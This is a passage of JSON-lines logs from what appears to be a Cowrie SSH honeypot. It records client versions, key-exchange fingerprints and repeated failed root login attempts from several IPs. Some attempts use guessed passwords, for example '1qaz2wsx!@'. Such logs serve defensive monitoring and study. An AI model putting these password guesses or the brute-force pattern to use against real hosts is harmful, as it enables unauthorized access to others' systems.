m","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:42.668740Z","src_ip":"170.106.115.61","session":"f3e697cc90d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@","message":"login attempt [root/1qaz2wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:42.977474Z","src_ip":"170.106.115.61","session":"f3e697cc90d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:44.049386Z","src_ip":"170.106.115.61","session":"f3e697cc90d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.26","src_port":45170,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7bf8fc49cb8","protocol":"ssh","message":"New connection: 209.90.232.26:45170 (10.17.0.5:22) [session: f7bf8fc49cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.247674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.252834Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.362690Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:79:eb:d6:c7:8b:0f:4d:27:c9:70:23:50:70:25:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKwfmgt+sU7YyPJJdL54xJcEPtStNekfJhLER+OLoyHB/jISmI4eqtRkJEzZ2s6UbFVLsBzQdcgO7R5wwDJ+miM7Ao6e3tl9TABecOcC3123pAmab27c7JDI0mHgnoJ0PcnwfW2qh9euqybe6HHxsCzclNf9OlGyN2WuI0d6nTJGAGyp5ewpKmrQemCVd0e979hpL4an3wXb0P4U0p2ZJbsj+ZRuZApHiK6wwuu9XkbYxrLPukI90sB7UjyPrFX3B2b+X6/WdiEJrFtB2P2cHT64fWq1QKqxe1b6yG0f5RPDeDU+8iDpdorS6TX7K0KMN53PMtYiUVugRAW3FockJN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:79:eb:d6:c7:8b:0f:4d:27:c9:70:23:50:70:25:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.701624Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:79:eb:d6:c7:8b:0f:4d:27:c9:70:23:50:70:25:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKwfmgt+sU7YyPJJdL54xJcEPtStNekfJhLER+OLoyHB/jISmI4eqtRkJEzZ2s6UbFVLsBzQdcgO7R5wwDJ+miM7Ao6e3tl9TABecOcC3123pAmab27c7JDI0mHgnoJ0PcnwfW2qh9euqybe6HHxsCzclNf9OlGyN2WuI0d6nTJGAGyp5ewpKmrQemCVd0e979hpL4an3wXb0P4U0p2ZJbsj+ZRuZApHiK6wwuu9XkbYxrLPukI90sB7UjyPrFX3B2b+X6/WdiEJrFtB2P2cHT64fWq1QKqxe1b6yG0f5RPDeDU+8iDpdorS6TX7K0KMN53PMtYiUVugRAW3FockJN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.705230Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:73:12:d8:e8:20:83:35:b7:8f:2f:f9:e0:97:dd:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjlrs3eR8+RhLY7Jcv25XEEnSPjXkgnmqNCZMiDmx5CQUIvQwqvfypFcbQ+3CCPlmd7Qa0JLbrNFVbOUz3Nuc0fTjVBI8gMn9Ig3PD5jiIfjAJvCIIocop14E9goXBc+Hg3xvNMnEoLfTsGtvg79eYxgldcaBX2jqVz46vDcBzvodW8wQzE/FpNSBYQ/5aVAWQWDA/nBP4W1F20+8YS/HAJI9+jEf7qVzuuRBNJx9UmlAw/nDoT9oFkAs9ypxOPLPxKusKuJgRVos7kuRfRuSu+ChLJKDMd6Aw5ZDxFUQeafgTLRdJGi0/8t1TzwvcBETNCMrrZZUKCvCPYSVe52pB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:73:12:d8:e8:20:83:35:b7:8f:2f:f9:e0:97:dd:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.777317Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:73:12:d8:e8:20:83:35:b7:8f:2f:f9:e0:97:dd:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjlrs3eR8+RhLY7Jcv25XEEnSPjXkgnmqNCZMiDmx5CQUIvQwqvfypFcbQ+3CCPlmd7Qa0JLbrNFVbOUz3Nuc0fTjVBI8gMn9Ig3PD5jiIfjAJvCIIocop14E9goXBc+Hg3xvNMnEoLfTsGtvg79eYxgldcaBX2jqVz46vDcBzvodW8wQzE/FpNSBYQ/5aVAWQWDA/nBP4W1F20+8YS/HAJI9+jEf7qVzuuRBNJx9UmlAw/nDoT9oFkAs9ypxOPLPxKusKuJgRVos7kuRfRuSu+ChLJKDMd6Aw5ZDxFUQeafgTLRdJGi0/8t1TzwvcBETNCMrrZZUKCvCPYSVe52pB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.781401Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:6c:ff:5c:a8:26:c7:ae:09:de:0f:ae:2e:bc:66:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJjMliQT03o9Qq+9mHSDFUws7BCYvTRfaplQLc2/Ps4rne1QpPZ80+y3T9zr4IGXW6GsugKF2difIYYqwwFHIWALBkW1zdGVgK09hCj//aXff/5SGdIm90Fr8tEuLuXyGKNxV6ZTRZSmSc1lyG+7u2efrOOcDom0Ocoxv+V8ov8srysGaoyGshUZXqg3wjFkHIVLaeqsXV+Req4jKKp3Snil5gCZCvuU0vCor6KKDY7vfsSXYsIcWOpy2EAwgOddzyQYA8yfq62zsUoTcbrYLVdYybfLcckckmK8aihUv3f594xj30aUTY9JEDomjnF30F4LdLsgZoc6KM1GKdwmSr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:6c:ff:5c:a8:26:c7:ae:09:de:0f:ae:2e:bc:66:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.853596Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:6c:ff:5c:a8:26:c7:ae:09:de:0f:ae:2e:bc:66:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJjMliQT03o9Qq+9mHSDFUws7BCYvTRfaplQLc2/Ps4rne1QpPZ80+y3T9zr4IGXW6GsugKF2difIYYqwwFHIWALBkW1zdGVgK09hCj//aXff/5SGdIm90Fr8tEuLuXyGKNxV6ZTRZSmSc1lyG+7u2efrOOcDom0Ocoxv+V8ov8srysGaoyGshUZXqg3wjFkHIVLaeqsXV+Req4jKKp3Snil5gCZCvuU0vCor6KKDY7vfsSXYsIcWOpy2EAwgOddzyQYA8yfq62zsUoTcbrYLVdYybfLcckckmK8aihUv3f594xj30aUTY9JEDomjnF30F4LdLsgZoc6KM1GKdwmSr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.857316Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:78:89:75:1a:a5:a5:90:54:3a:8d:ca:29:dc:73:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTZoNH0XcoaASLJEVeysYnYj0WDL1gfb69iUVxN+ffd/b+cZBRTRLLnq6uLCne5+ychcTIW1PhHa5fzBfGxH+pmmSE3pqntWWvdPpY/eb0kzaAyFGOuwZtHD9x+AwLOLnUjKaxFGg2+86TcZo7aoMKArQhPnudvLnxX6iuEGK3dDJctlpMWJwW6LwTlyfpSGhrEN3JleJtSkWIBNA2Stl1hXuqkRR/j1+01c+gxtSFfcImizPbDNai4ujQZoLyjoj8qrdOR7mUOHC1Ai1qgw0b5m412LJFx0UDsBw4hlyybYcSqS/UykJ3TxPtNxVFp+I16/owas++A2+o6MoPWGDn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:78:89:75:1a:a5:a5:90:54:3a:8d:ca:29:dc:73:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.930599Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:78:89:75:1a:a5:a5:90:54:3a:8d:ca:29:dc:73:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTZoNH0XcoaASLJEVeysYnYj0WDL1gfb69iUVxN+ffd/b+cZBRTRLLnq6uLCne5+ychcTIW1PhHa5fzBfGxH+pmmSE3pqntWWvdPpY/eb0kzaAyFGOuwZtHD9x+AwLOLnUjKaxFGg2+86TcZo7aoMKArQhPnudvLnxX6iuEGK3dDJctlpMWJwW6LwTlyfpSGhrEN3JleJtSkWIBNA2Stl1hXuqkRR/j1+01c+gxtSFfcImizPbDNai4ujQZoLyjoj8qrdOR7mUOHC1Ai1qgw0b5m412LJFx0UDsBw4hlyybYcSqS/UykJ3TxPtNxVFp+I16/owas++A2+o6MoPWGDn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:49.934609Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:ac:ca:70:1a:3f:e8:a7:1e:3e:d7:0c:74:8e:47:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQzsC+qzQP/i6FLR0pw3IbIre8ZebLV8jofwcl71KY904wUO3Q2nEvQi8Mj/5ByvrVuwbi9sQhbHOukgL1yxGCG4JbSp/tRh/ePJ4La+40mBcB+qWj/tUwIoifJkVAC+FQBVw4ZOFAwIPwENWw6DHpD0DANbUHoxGpMBmqNpHHRihG+wQEbtiMBqKVK33Mq3GIdt5CMuqbv7b1TwlLe9dGpal4wmLJhE8AgQ3Qe3tEcU9QJZZ9mLapDBhOkWFiFSB9dHX+LaLZK6VkvtQbA3i6PLSbAJtcR4QKmuU/iraEtmKPLGsP4G+yIdk48g/kvAlAFZGyLBbvPRbbtRurSf33","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:ac:ca:70:1a:3f:e8:a7:1e:3e:d7:0c:74:8e:47:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:50.006899Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:ac:ca:70:1a:3f:e8:a7:1e:3e:d7:0c:74:8e:47:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQzsC+qzQP/i6FLR0pw3IbIre8ZebLV8jofwcl71KY904wUO3Q2nEvQi8Mj/5ByvrVuwbi9sQhbHOukgL1yxGCG4JbSp/tRh/ePJ4La+40mBcB+qWj/tUwIoifJkVAC+FQBVw4ZOFAwIPwENWw6DHpD0DANbUHoxGpMBmqNpHHRihG+wQEbtiMBqKVK33Mq3GIdt5CMuqbv7b1TwlLe9dGpal4wmLJhE8AgQ3Qe3tEcU9QJZZ9mLapDBhOkWFiFSB9dHX+LaLZK6VkvtQbA3i6PLSbAJtcR4QKmuU/iraEtmKPLGsP4G+yIdk48g/kvAlAFZGyLBbvPRbbtRurSf33","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:50.010965Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:50.084589Z","src_ip":"209.90.232.26","session":"f7bf8fc49cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49114,"dst_ip":"10.17.0.5","dst_port":22,"session":"b93b6a51b9d1","protocol":"ssh","message":"New connection: 37.143.61.84:49114 (10.17.0.5:22) [session: b93b6a51b9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:56.688947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:56.696929Z","src_ip":"37.143.61.84","session":"b93b6a51b9d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:56.892372Z","src_ip":"37.143.61.84","session":"b93b6a51b9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwei","message":"login attempt [root/zhangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.601865Z","src_ip":"37.143.61.84","session":"b93b6a51b9d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.16.45","src_port":52642,"dst_ip":"10.17.0.5","dst_port":22,"session":"224a664bc6ef","protocol":"ssh","message":"New connection: 216.59.16.45:52642 (10.17.0.5:22) [session: 224a664bc6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.609809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.613823Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.637014Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:d6:93:f6:02:76:f9:07:9f:c1:5e:f6:2b:7d:57:61","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKT83lHoZmv5xnkgOiYrEEqJDsp7r+5S5Pen38wN+nfy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint dd:d6:93:f6:02:76:f9:07:9f:c1:5e:f6:2b:7d:57:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.733267Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:d6:93:f6:02:76:f9:07:9f:c1:5e:f6:2b:7d:57:61","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKT83lHoZmv5xnkgOiYrEEqJDsp7r+5S5Pen38wN+nfy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.736931Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:b5:d2:d4:07:fb:e1:c6:ef:00:04:06:da:d5:1f:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCut4Brc/HiTytNhhG6S059SacJafm/sLuvsrDeff4bGqX0Ph8sz4wtAA0WZoCCoRiF3VlEbWgDDmdTXgzLCfW/fn7QEe/GKcLM9cu+Dvco1Z+M/WCzog593rfNS2MpBY3PfdlVVx7L0JB8X5PahJHVMwE9jbPQGR0t7ZOZrfDlbIsN1aVRiaaoy0tWu6c9u9uO8lAeDwyc20PNhUdkhnE1B1DWxUlx9hVrhnclWtHPJ4W/1zBVLyjwVdMt0ZtqVPtmF6jRzsIZWNaCne0CEJfu9RNtThqJKT4P7TeQ1JSgeVfC9U9ypzeDxeQmJ8YfqgViUTyAxudAkZG4zO8IeJJP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:b5:d2:d4:07:fb:e1:c6:ef:00:04:06:da:d5:1f:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.760819Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:b5:d2:d4:07:fb:e1:c6:ef:00:04:06:da:d5:1f:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCut4Brc/HiTytNhhG6S059SacJafm/sLuvsrDeff4bGqX0Ph8sz4wtAA0WZoCCoRiF3VlEbWgDDmdTXgzLCfW/fn7QEe/GKcLM9cu+Dvco1Z+M/WCzog593rfNS2MpBY3PfdlVVx7L0JB8X5PahJHVMwE9jbPQGR0t7ZOZrfDlbIsN1aVRiaaoy0tWu6c9u9uO8lAeDwyc20PNhUdkhnE1B1DWxUlx9hVrhnclWtHPJ4W/1zBVLyjwVdMt0ZtqVPtmF6jRzsIZWNaCne0CEJfu9RNtThqJKT4P7TeQ1JSgeVfC9U9ypzeDxeQmJ8YfqgViUTyAxudAkZG4zO8IeJJP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.765330Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:29:54:75:5c:d7:7a:10:15:5d:6e:ff:49:55:6a:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClzwynu8TrTsbqv+gk0dp+59Vfoj5t9YEs35tGY+oFgIODa3BOtMNXQg5xjG0JAMYVdTcCChVAFhmNwK3vrtbA6JvVNCQzgJogY/GNwvlfqufXUb1CbRRYxdbKg/3R4wwJVpnVodduVxlKIIFTRx4k7Q/XIhPveDfqJnUJ2D9egzWt5tI5XTX9qeiyVUAeTi75wV7iWgDISZSXPjJx6Z3vsJxz2TheRDhiFXn2YWD1r3IF76atQXHzsUxux5yov/MnMRoQLDVGnyzw2E+OD2i11eZMiaddPrl1Ln2ynjRtJXDCv8HUts8QRqBCRzaJoLn0pvnkUbyuXTCPx5rrl8zGNbPX9FoxTiIir2IyHPMnX1Azr9S4zxq328OUTxhA5uYclNbXjehFMKeZSr4bMuTPy0BxQqEdt9G9Yphg7ZoUMRoCJbkbG/zMvLedm6wpO4+p+yUgTstEzQzznHNgu4iNR+HejsiBHKCgAHk8ZClACf87xMfMk4yX4PmaFeetblfQcKyFUduBguPV50czpyPj21O+14YmSOchdo9AuTRblgQmztrTF7JJpcFP2ifREJE7xFXPA953YWApfpWL4QWXx35WaKJfqysuVjgTZVMWuyorZK/Elt5Ot69cFXo9TlFrGwXV3x34YVlj1MGnsk4cfbTTJQNwEWhOwrKE9hZIxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:29:54:75:5c:d7:7a:10:15:5d:6e:ff:49:55:6a:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:59.789450Z","src_ip":"216.59.16.45","session":"224a664bc6ef","protocol":"ssh"}
